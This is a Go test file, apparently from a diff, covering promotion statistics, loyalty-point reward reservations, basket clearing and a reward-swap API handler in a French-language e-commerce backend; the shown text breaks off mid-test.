func TestPromoOrdersCount_CountsOrderOnceDespiteMultipleDiscountedItems(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "stats_promo_multi")
|
||||
productA := newTestProduct(t, "StatsPromoMultiA", 20)
|
||||
productB := newTestProduct(t, "StatsPromoMultiB", 20)
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.PromotionsEnabled = true
|
||||
s.Promotions = []models.CategoryPromotionConfig{
|
||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
if _, err := testDB.AddToBasket(username, productA, 1); err != nil {
|
||||
t.Fatalf("AddToBasket A: %v", err)
|
||||
}
|
||||
if _, err := testDB.AddToBasket(username, productB, 1); err != nil {
|
||||
t.Fatalf("AddToBasket B: %v", err)
|
||||
}
|
||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
||||
if err != nil {
|
||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
||||
}
|
||||
approveTestCommand(t, cmd.ID)
|
||||
|
||||
count, err := testDB.PromoOrdersCount(time.Time{})
|
||||
if err != nil {
|
||||
t.Fatalf("PromoOrdersCount: %v", err)
|
||||
}
|
||||
if count != 1 {
|
||||
t.Errorf("une commande avec 2 lignes en promo doit compter une seule fois: got=%d want=1", count)
|
||||
}
|
||||
|
||||
total, err := testDB.TotalPromoDiscount(time.Time{})
|
||||
if err != nil {
|
||||
t.Fatalf("TotalPromoDiscount: %v", err)
|
||||
}
|
||||
if total != 4.0 {
|
||||
t.Errorf("le montant total doit sommer les deux lignes: got=%.2f want=4.00 (2×2€)", total)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPromoOrdersCount_IgnoresOrdersWithoutDiscount(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "stats_promo_zero")
|
||||
productID := newTestProduct(t, "StatsPromoZero", 20)
|
||||
// Aucune promotion configurée : promo_discount reste à 0 pour cette commande.
|
||||
|
||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
||||
if err != nil {
|
||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
||||
}
|
||||
approveTestCommand(t, cmd.ID)
|
||||
|
||||
count, err := testDB.PromoOrdersCount(time.Time{})
|
||||
if err != nil {
|
||||
t.Fatalf("PromoOrdersCount: %v", err)
|
||||
}
|
||||
if count != 0 {
|
||||
t.Errorf("aucune commande sans promo ne doit être comptée: got=%d want=0", count)
|
||||
}
|
||||
total, err := testDB.TotalPromoDiscount(time.Time{})
|
||||
if err != nil {
|
||||
t.Fatalf("TotalPromoDiscount: %v", err)
|
||||
}
|
||||
if total != 0 {
|
||||
t.Errorf("aucun montant économisé sans promo: got=%.2f want=0", total)
|
||||
}
|
||||
}
|
||||
@@ -1,824 +0,0 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"gestion/db"
|
||||
"gestion/handlers"
|
||||
"gestion/models"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strconv"
|
||||
"testing"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
// clientPointsRedeemed lit uniquement le compteur de réservation
|
||||
// (points_redeemed), symétrique de clientPointsExtra (points_approval_test.go).
|
||||
func clientPointsRedeemed(t *testing.T, username string) map[string]int {
|
||||
t.Helper()
|
||||
_, redeemed, err := testDB.GetClientPointsAndRewards(username)
|
||||
if err != nil {
|
||||
t.Fatalf("GetClientPointsAndRewards: %v", err)
|
||||
}
|
||||
return redeemed
|
||||
}
|
||||
|
||||
// setClientPoolRedeemed fixe directement points_redeemed[poolKey], pour
|
||||
// simuler un état (sentinelle non liée à la commande testée, ou valeur de
|
||||
// départ arbitraire) sans dépendre du flux normal de réclamation.
|
||||
func setClientPoolRedeemed(t *testing.T, username, poolKey string, value int) {
|
||||
t.Helper()
|
||||
if err := testDB.GDB.Exec(
|
||||
`UPDATE clients SET points_redeemed = jsonb_set(COALESCE(points_redeemed, '{}'::jsonb), ARRAY[?], to_jsonb(?::int)) WHERE username = ?`,
|
||||
poolKey, value, username,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("setClientPoolRedeemed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func basketItemID(t *testing.T, username string, isReward bool) int {
|
||||
t.Helper()
|
||||
var id int
|
||||
if err := testDB.GDB.Raw(
|
||||
`SELECT id FROM baskets WHERE username = ? AND is_reward = ? ORDER BY created_at DESC LIMIT 1`,
|
||||
username, isReward,
|
||||
).Scan(&id).Error; err != nil {
|
||||
t.Fatalf("basketItemID: %v", err)
|
||||
}
|
||||
if id == 0 {
|
||||
t.Fatalf("aucun article trouvé (username=%s, is_reward=%v)", username, isReward)
|
||||
}
|
||||
return id
|
||||
}
|
||||
|
||||
func basketItemCount(t *testing.T, username string) int {
|
||||
t.Helper()
|
||||
var count int
|
||||
if err := testDB.GDB.Raw(`SELECT COUNT(*) FROM baskets WHERE username = ?`, username).Scan(&count).Error; err != nil {
|
||||
t.Fatalf("basketItemCount: %v", err)
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
// Correctif 1 — DeleteProductFromBasket / ClearBasket libèrent la réservation
|
||||
// (points_redeemed) quand l'article supprimé est une récompense, pour que le
|
||||
// client puisse en réclamer une autre avec les mêmes points.
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
|
||||
func TestDeleteProductFromBasket_RewardItem_ReleasesReservation(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "del_basket_reward_release")
|
||||
productID := newTestProduct(t, "DelBasketRewardRelease", 5)
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
|
||||
if _, _, err := testDB.ClaimPoolRewardAndAddToBasket(username, "pool_0", 20,
|
||||
[]models.RewardItem{{ProductID: productID, Quantity: 1, Price: 0}}); err != nil {
|
||||
t.Fatalf("ClaimPoolRewardAndAddToBasket: %v", err)
|
||||
}
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 1 {
|
||||
t.Fatalf("redeemed après claim: got=%d want=1", got)
|
||||
}
|
||||
|
||||
rewardID := basketItemID(t, username, true)
|
||||
if err := testDB.DeleteProductFromBasket(rewardID); err != nil {
|
||||
t.Fatalf("DeleteProductFromBasket: %v", err)
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 0 {
|
||||
t.Errorf("redeemed après suppression de la récompense du panier: got=%d want=0", got)
|
||||
}
|
||||
if rows := basketRewardItems(t, username); len(rows) != 0 {
|
||||
t.Errorf("panier devrait être vide de récompense: got=%d", len(rows))
|
||||
}
|
||||
}
|
||||
|
||||
// Le scénario exact signalé : supprimer, puis reclaquer une récompense
|
||||
// (même ou différente) doit de nouveau fonctionner.
|
||||
func TestDeleteProductFromBasket_RewardItem_AllowsReClaimAfterDeletion(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "del_basket_reward_reclaim")
|
||||
productA := newTestProduct(t, "DelBasketReclaimA", 5)
|
||||
productB := newTestProduct(t, "DelBasketReclaimB", 5)
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
|
||||
if _, _, err := testDB.ClaimPoolRewardAndAddToBasket(username, "pool_0", 20,
|
||||
[]models.RewardItem{{ProductID: productA, Quantity: 1, Price: 0}}); err != nil {
|
||||
t.Fatalf("1er claim: %v", err)
|
||||
}
|
||||
testDB.DeleteProductFromBasket(basketItemID(t, username, true))
|
||||
|
||||
// Sans le correctif, ce second claim échoue ("pas de récompense
|
||||
// disponible") car points_redeemed est resté à 1 alors qu'aucun point
|
||||
// n'a jamais été réellement débité (points_extra inchangé).
|
||||
remaining, added, err := testDB.ClaimPoolRewardAndAddToBasket(username, "pool_0", 20,
|
||||
[]models.RewardItem{{ProductID: productB, Quantity: 1, Price: 0}})
|
||||
if err != nil {
|
||||
t.Fatalf("2e claim (après suppression) devrait réussir: %v", err)
|
||||
}
|
||||
if remaining != 0 {
|
||||
t.Errorf("remaining après 2e claim: got=%d want=0", remaining)
|
||||
}
|
||||
if len(added) != 1 || added[0].ProductID != productB {
|
||||
t.Errorf("le produit B devrait être ajouté au panier: %+v", added)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeleteProductFromBasket_NonRewardItem_DoesNotAffectReservation(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "del_basket_normal_item")
|
||||
rewardProductID := newTestProduct(t, "DelBasketNormalReward", 5)
|
||||
paidProductID := newTestProduct(t, "DelBasketNormalPaid", 20)
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
|
||||
if _, _, err := testDB.ClaimPoolRewardAndAddToBasket(username, "pool_0", 20,
|
||||
[]models.RewardItem{{ProductID: rewardProductID, Quantity: 1, Price: 0}}); err != nil {
|
||||
t.Fatalf("claim: %v", err)
|
||||
}
|
||||
paidItem, err := testDB.AddToBasket(username, paidProductID, 2)
|
||||
if err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
|
||||
if err := testDB.DeleteProductFromBasket(paidItem.ID); err != nil {
|
||||
t.Fatalf("DeleteProductFromBasket (article normal): %v", err)
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 1 {
|
||||
t.Errorf("redeemed ne doit pas changer quand on supprime un article non-récompense: got=%d want=1", got)
|
||||
}
|
||||
if rows := basketRewardItems(t, username); len(rows) != 1 {
|
||||
t.Errorf("l'article récompense doit rester en panier: got=%d want=1", len(rows))
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeleteProductFromBasket_UnknownID_ReturnsErrorAndTouchesNothing(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "del_basket_unknown_id")
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
testDB.ClaimPoolReward(username, "pool_0", 20) // redeemed=1, sans article en panier
|
||||
|
||||
if err := testDB.DeleteProductFromBasket(999999999); err == nil {
|
||||
t.Fatal("attendu une erreur pour un ID de panier inexistant")
|
||||
}
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 1 {
|
||||
t.Errorf("un ID inconnu ne doit rien libérer: got=%d want=1", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClearBasket_WithRewardItem_ReleasesReservation(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "clear_basket_reward")
|
||||
rewardProductID := newTestProduct(t, "ClearBasketReward", 5)
|
||||
paidProductID := newTestProduct(t, "ClearBasketPaid", 20)
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
|
||||
if _, _, err := testDB.ClaimPoolRewardAndAddToBasket(username, "pool_0", 20,
|
||||
[]models.RewardItem{{ProductID: rewardProductID, Quantity: 1, Price: 0}}); err != nil {
|
||||
t.Fatalf("claim: %v", err)
|
||||
}
|
||||
if _, err := testDB.AddToBasket(username, paidProductID, 1); err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
|
||||
if err := testDB.ClearBasket(username); err != nil {
|
||||
t.Fatalf("ClearBasket: %v", err)
|
||||
}
|
||||
|
||||
if got := basketItemCount(t, username); got != 0 {
|
||||
t.Errorf("panier devrait être vide: got=%d", got)
|
||||
}
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 0 {
|
||||
t.Errorf("redeemed après ClearBasket (panier contenait une récompense): got=%d want=0", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClearBasket_NoRewardItems_NoPointsChangeAndNoError(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "clear_basket_no_reward")
|
||||
paidProductID := newTestProduct(t, "ClearBasketNoReward", 20)
|
||||
if _, err := testDB.AddToBasket(username, paidProductID, 1); err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
|
||||
if err := testDB.ClearBasket(username); err != nil {
|
||||
t.Fatalf("ClearBasket sans récompense ne doit pas échouer: %v", err)
|
||||
}
|
||||
if got := clientPointsRedeemed(t, username); len(got) != 0 {
|
||||
t.Errorf("aucun pool ne doit être touché: got=%v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClearBasket_EmptyBasket_NoError(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "clear_basket_empty")
|
||||
if err := testDB.ClearBasket(username); err != nil {
|
||||
t.Fatalf("ClearBasket sur un panier déjà vide ne doit pas échouer: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Deux pools de récompense distincts dans le même panier (état obtenu ici en
|
||||
// insérant directement les lignes, pour couvrir le cas sans dépendre du flux
|
||||
// normal qui remplace les anciennes lignes récompense à chaque claim) : les
|
||||
// deux réservations doivent être libérées, pas seulement une.
|
||||
func TestClearBasket_MultipleDistinctRewardPools_ReleasesAllOfThem(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "clear_basket_multi_pool")
|
||||
productA := newTestProduct(t, "ClearBasketMultiA", 5)
|
||||
productB := newTestProduct(t, "ClearBasketMultiB", 5)
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
setClientPoolPoints(t, username, "pool_1", 20)
|
||||
testDB.ClaimPoolReward(username, "pool_0", 20)
|
||||
testDB.ClaimPoolReward(username, "pool_1", 20)
|
||||
|
||||
if err := testDB.GDB.Exec(
|
||||
`INSERT INTO baskets (username, product_id, quantity, price, is_reward, reward_pool_key, created_at)
|
||||
VALUES (?, ?, 1, 0, true, 'pool_0', CURRENT_TIMESTAMP), (?, ?, 1, 0, true, 'pool_1', CURRENT_TIMESTAMP)`,
|
||||
username, productA, username, productB,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("insertion panier multi-pool: %v", err)
|
||||
}
|
||||
|
||||
if err := testDB.ClearBasket(username); err != nil {
|
||||
t.Fatalf("ClearBasket: %v", err)
|
||||
}
|
||||
|
||||
redeemed := clientPointsRedeemed(t, username)
|
||||
if redeemed["pool_0"] != 0 {
|
||||
t.Errorf("pool_0 doit être libéré: got=%d want=0", redeemed["pool_0"])
|
||||
}
|
||||
if redeemed["pool_1"] != 0 {
|
||||
t.Errorf("pool_1 doit être libéré: got=%d want=0", redeemed["pool_1"])
|
||||
}
|
||||
}
|
||||
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
// Correctif 2 — PUT /points/swap (handlers.SwapMyRewardProduct) : changer le
|
||||
// produit d'une récompense déjà en panier sans consommer une nouvelle
|
||||
// réservation, avec revalidation complète côté serveur.
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
|
||||
func swapRewardContext(username string, body []byte) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
req := httptest.NewRequest(http.MethodPut, "/api/v1/points/swap", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("username", username)
|
||||
return c, rec
|
||||
}
|
||||
|
||||
func TestSwapMyRewardProduct_SwapsToEligibleProductWithoutConsumingNewReservation(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "swap_reward_ok")
|
||||
productA := newTestProduct(t, "SwapRewardOkA", 5)
|
||||
productB := newTestProduct(t, "SwapRewardOkB", 5)
|
||||
|
||||
configureRewardSettings(t, &models.PointsReward{
|
||||
Threshold: 20,
|
||||
CategoryConfigs: []models.RewardCategoryConfig{
|
||||
{Category: "test", Type: "free_product", Products: []models.RewardProductQuantity{
|
||||
{ProductID: productA, Quantity: 1},
|
||||
{ProductID: productB, Quantity: 1},
|
||||
}},
|
||||
},
|
||||
})
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
|
||||
claimBody, _ := json.Marshal(map[string]any{"pool_key": "pool_0", "product_id": productA})
|
||||
cClaim, recClaim := claimRewardContext(username, claimBody)
|
||||
handlers.ClaimMyReward(cClaim)
|
||||
if recClaim.Code != http.StatusOK {
|
||||
t.Fatalf("claim initial: status=%d body=%s", recClaim.Code, recClaim.Body.String())
|
||||
}
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 1 {
|
||||
t.Fatalf("redeemed après claim initial: got=%d want=1", got)
|
||||
}
|
||||
|
||||
swapBody, _ := json.Marshal(map[string]any{"product_id": productB})
|
||||
cSwap, recSwap := swapRewardContext(username, swapBody)
|
||||
handlers.SwapMyRewardProduct(cSwap)
|
||||
if recSwap.Code != http.StatusOK {
|
||||
t.Fatalf("swap: status=%d body=%s", recSwap.Code, recSwap.Body.String())
|
||||
}
|
||||
|
||||
rows := basketRewardItems(t, username)
|
||||
if len(rows) != 1 || rows[0].ProductID != productB {
|
||||
t.Fatalf("le panier doit contenir uniquement le produit B après swap: %+v", rows)
|
||||
}
|
||||
if rows[0].RewardPoolKey != "pool_0" {
|
||||
t.Errorf("reward_pool_key doit rester pool_0: got=%q", rows[0].RewardPoolKey)
|
||||
}
|
||||
|
||||
// Le point central du correctif : aucune nouvelle réservation consommée.
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 1 {
|
||||
t.Errorf("redeemed ne doit pas bouger après un swap: got=%d want=1", got)
|
||||
}
|
||||
}
|
||||
|
||||
// Le backend ne doit jamais faire confiance au product_id envoyé par le
|
||||
// client : un produit hors de toute config éligible pour le pool actif doit
|
||||
// être rejeté, et le panier ne doit pas être modifié.
|
||||
func TestSwapMyRewardProduct_RejectsIneligibleProduct(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "swap_reward_ineligible")
|
||||
eligibleProduct := newTestProduct(t, "SwapRewardIneligibleOk", 5)
|
||||
otherProduct := newTestProduct(t, "SwapRewardIneligibleOther", 5) // jamais listé comme récompense
|
||||
|
||||
configureRewardSettings(t, &models.PointsReward{
|
||||
Threshold: 20,
|
||||
CategoryConfigs: []models.RewardCategoryConfig{
|
||||
{Category: "test", Type: "free_product", Products: []models.RewardProductQuantity{
|
||||
{ProductID: eligibleProduct, Quantity: 1},
|
||||
}},
|
||||
},
|
||||
})
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
|
||||
claimBody, _ := json.Marshal(map[string]any{"pool_key": "pool_0"})
|
||||
cClaim, _ := claimRewardContext(username, claimBody)
|
||||
handlers.ClaimMyReward(cClaim)
|
||||
|
||||
swapBody, _ := json.Marshal(map[string]any{"product_id": otherProduct})
|
||||
cSwap, recSwap := swapRewardContext(username, swapBody)
|
||||
handlers.SwapMyRewardProduct(cSwap)
|
||||
|
||||
if recSwap.Code != http.StatusForbidden {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", recSwap.Code, http.StatusForbidden, recSwap.Body.String())
|
||||
}
|
||||
|
||||
rows := basketRewardItems(t, username)
|
||||
if len(rows) != 1 || rows[0].ProductID != eligibleProduct {
|
||||
t.Errorf("le panier ne doit pas avoir changé: %+v", rows)
|
||||
}
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 1 {
|
||||
t.Errorf("redeemed ne doit pas bouger sur un swap rejeté: got=%d want=1", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSwapMyRewardProduct_NoActiveRewardInBasket_ReturnsConflict(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "swap_reward_no_active")
|
||||
productID := newTestProduct(t, "SwapRewardNoActive", 5)
|
||||
configureRewardSettings(t, &models.PointsReward{
|
||||
Threshold: 20,
|
||||
CategoryConfigs: []models.RewardCategoryConfig{
|
||||
{Category: "test", Type: "free_product", AllProducts: true, Quantity: 1},
|
||||
},
|
||||
})
|
||||
|
||||
swapBody, _ := json.Marshal(map[string]any{"product_id": productID})
|
||||
c, rec := swapRewardContext(username, swapBody)
|
||||
handlers.SwapMyRewardProduct(c)
|
||||
|
||||
if rec.Code != http.StatusConflict {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusConflict, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestSwapMyRewardProduct_MissingProductID_ReturnsBadRequest(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "swap_reward_missing_id")
|
||||
|
||||
c, rec := swapRewardContext(username, []byte(`{}`))
|
||||
handlers.SwapMyRewardProduct(c)
|
||||
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusBadRequest, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestSwapMyRewardProduct_PointsDisabled_Rejected(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "swap_reward_disabled")
|
||||
productA := newTestProduct(t, "SwapRewardDisabledA", 5)
|
||||
productB := newTestProduct(t, "SwapRewardDisabledB", 5)
|
||||
|
||||
settings := db.DefaultSettings()
|
||||
settings.PointsPools[0].Categories = []string{"test"}
|
||||
settings.PointsReward = &models.PointsReward{
|
||||
Threshold: 20,
|
||||
CategoryConfigs: []models.RewardCategoryConfig{
|
||||
{Category: "test", Type: "free_product", Products: []models.RewardProductQuantity{
|
||||
{ProductID: productA, Quantity: 1}, {ProductID: productB, Quantity: 1},
|
||||
}},
|
||||
},
|
||||
}
|
||||
if err := testDB.UpdateSettings(settings); err != nil {
|
||||
t.Fatalf("UpdateSettings (activé): %v", err)
|
||||
}
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
claimBody, _ := json.Marshal(map[string]any{"pool_key": "pool_0", "product_id": productA})
|
||||
cClaim, _ := claimRewardContext(username, claimBody)
|
||||
handlers.ClaimMyReward(cClaim)
|
||||
|
||||
settings.PointsEnabled = false
|
||||
if err := testDB.UpdateSettings(settings); err != nil {
|
||||
t.Fatalf("UpdateSettings (désactivé): %v", err)
|
||||
}
|
||||
|
||||
swapBody, _ := json.Marshal(map[string]any{"product_id": productB})
|
||||
c, rec := swapRewardContext(username, swapBody)
|
||||
handlers.SwapMyRewardProduct(c)
|
||||
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusForbidden, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
// Le prix effectif doit être recalculé à chaque swap, pas recopié de
|
||||
// l'ancienne ligne — ici le produit B a un palier de prix supérieur.
|
||||
func TestSwapMyRewardProduct_HalfPriceType_RecomputesPriceFromCurrentCatalog(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "swap_reward_halfprice")
|
||||
productA := newTestProduct(t, "SwapRewardHalfA", 5) // prix catalogue 10.00€ (newTestProduct)
|
||||
productB := newTestProduct(t, "SwapRewardHalfB", 5)
|
||||
if err := testDB.GDB.Exec(
|
||||
`UPDATE product_prices SET price = 30.00 WHERE product_id = ? AND quantity = 1`,
|
||||
productB,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("maj prix produit B: %v", err)
|
||||
}
|
||||
|
||||
configureRewardSettings(t, &models.PointsReward{
|
||||
Threshold: 20,
|
||||
CategoryConfigs: []models.RewardCategoryConfig{
|
||||
{Category: "test", Type: "half_price_product", Products: []models.RewardProductQuantity{
|
||||
{ProductID: productA, Quantity: 1}, {ProductID: productB, Quantity: 1},
|
||||
}},
|
||||
},
|
||||
})
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
|
||||
claimBody, _ := json.Marshal(map[string]any{"pool_key": "pool_0", "product_id": productA})
|
||||
cClaim, recClaim := claimRewardContext(username, claimBody)
|
||||
handlers.ClaimMyReward(cClaim)
|
||||
if recClaim.Code != http.StatusOK {
|
||||
t.Fatalf("claim: status=%d body=%s", recClaim.Code, recClaim.Body.String())
|
||||
}
|
||||
if rows := basketRewardItems(t, username); len(rows) != 1 || rows[0].Price != 5.0 {
|
||||
t.Fatalf("prix initial attendu 5.00€ (50%% de 10€): %+v", rows)
|
||||
}
|
||||
|
||||
swapBody, _ := json.Marshal(map[string]any{"product_id": productB})
|
||||
cSwap, recSwap := swapRewardContext(username, swapBody)
|
||||
handlers.SwapMyRewardProduct(cSwap)
|
||||
if recSwap.Code != http.StatusOK {
|
||||
t.Fatalf("swap: status=%d body=%s", recSwap.Code, recSwap.Body.String())
|
||||
}
|
||||
|
||||
rows := basketRewardItems(t, username)
|
||||
if len(rows) != 1 || rows[0].ProductID != productB {
|
||||
t.Fatalf("panier après swap: %+v", rows)
|
||||
}
|
||||
if rows[0].Price != 15.0 {
|
||||
t.Errorf("prix après swap attendu 15.00€ (50%% de 30€, recalculé): got=%.2f", rows[0].Price)
|
||||
}
|
||||
}
|
||||
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
// Correctif 3 — libération de la réservation de récompense à l'annulation
|
||||
// avant "approved", et préservation stricte des points après "approved".
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
|
||||
func TestReleaseRewardReservationsForCommandTx_SingleRewardItem_DecrementsOnce(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "release_single")
|
||||
productID := newTestProduct(t, "ReleaseSingle", 5)
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
testDB.ClaimPoolReward(username, "pool_0", 20) // redeemed["pool_0"] = 1
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", productID, 1, 0)
|
||||
insertRewardCommandItem(t, cmdID, productID, 1, 0, "pool_0")
|
||||
|
||||
if err := testDB.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
return testDB.ReleaseRewardReservationsForCommandTx(tx, cmdID, username)
|
||||
}); err != nil {
|
||||
t.Fatalf("ReleaseRewardReservationsForCommandTx: %v", err)
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 0 {
|
||||
t.Errorf("redeemed après libération: got=%d want=0", got)
|
||||
}
|
||||
}
|
||||
|
||||
// Une seule réclamation peut avoir ajouté plusieurs lignes pour le même pool
|
||||
// (plusieurs produits éligibles) : une seule réservation doit être libérée,
|
||||
// pas une par ligne.
|
||||
func TestReleaseRewardReservationsForCommandTx_MultipleRowsSamePool_DecrementsOnlyOnce(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "release_multi_row")
|
||||
productA := newTestProduct(t, "ReleaseMultiRowA", 5)
|
||||
productB := newTestProduct(t, "ReleaseMultiRowB", 5)
|
||||
// 2 au lieu de 1 pour distinguer "décrémenté une fois" (-> 1) de
|
||||
// "décrémenté une fois par ligne" (-> 0, bug visé par le DISTINCT).
|
||||
setClientPoolRedeemed(t, username, "pool_0", 2)
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", productA, 1, 0)
|
||||
insertRewardCommandItem(t, cmdID, productA, 1, 0, "pool_0")
|
||||
insertRewardCommandItem(t, cmdID, productB, 1, 0, "pool_0")
|
||||
|
||||
if err := testDB.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
return testDB.ReleaseRewardReservationsForCommandTx(tx, cmdID, username)
|
||||
}); err != nil {
|
||||
t.Fatalf("ReleaseRewardReservationsForCommandTx: %v", err)
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 1 {
|
||||
t.Errorf("redeemed après libération (2 lignes, même pool, une seule réservation): got=%d want=1", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReleaseRewardReservationsForCommandTx_MultiplePoolsInOneCommand_ReleasesEachIndependently(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "release_multi_pool")
|
||||
productA := newTestProduct(t, "ReleaseMultiPoolA", 5)
|
||||
productB := newTestProduct(t, "ReleaseMultiPoolB", 5)
|
||||
setClientPoolRedeemed(t, username, "pool_0", 1)
|
||||
setClientPoolRedeemed(t, username, "pool_1", 1)
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", productA, 1, 0)
|
||||
insertRewardCommandItem(t, cmdID, productA, 1, 0, "pool_0")
|
||||
insertRewardCommandItem(t, cmdID, productB, 1, 0, "pool_1")
|
||||
|
||||
if err := testDB.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
return testDB.ReleaseRewardReservationsForCommandTx(tx, cmdID, username)
|
||||
}); err != nil {
|
||||
t.Fatalf("ReleaseRewardReservationsForCommandTx: %v", err)
|
||||
}
|
||||
|
||||
redeemed := clientPointsRedeemed(t, username)
|
||||
if redeemed["pool_0"] != 0 {
|
||||
t.Errorf("pool_0: got=%d want=0", redeemed["pool_0"])
|
||||
}
|
||||
if redeemed["pool_1"] != 0 {
|
||||
t.Errorf("pool_1: got=%d want=0", redeemed["pool_1"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestReleaseRewardReservationsForCommandTx_NoRewardItems_NoOp(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "release_no_reward")
|
||||
productID := newTestProduct(t, "ReleaseNoReward", 5)
|
||||
setClientPoolRedeemed(t, username, "pool_0", 3)
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", productID, 1, 0)
|
||||
|
||||
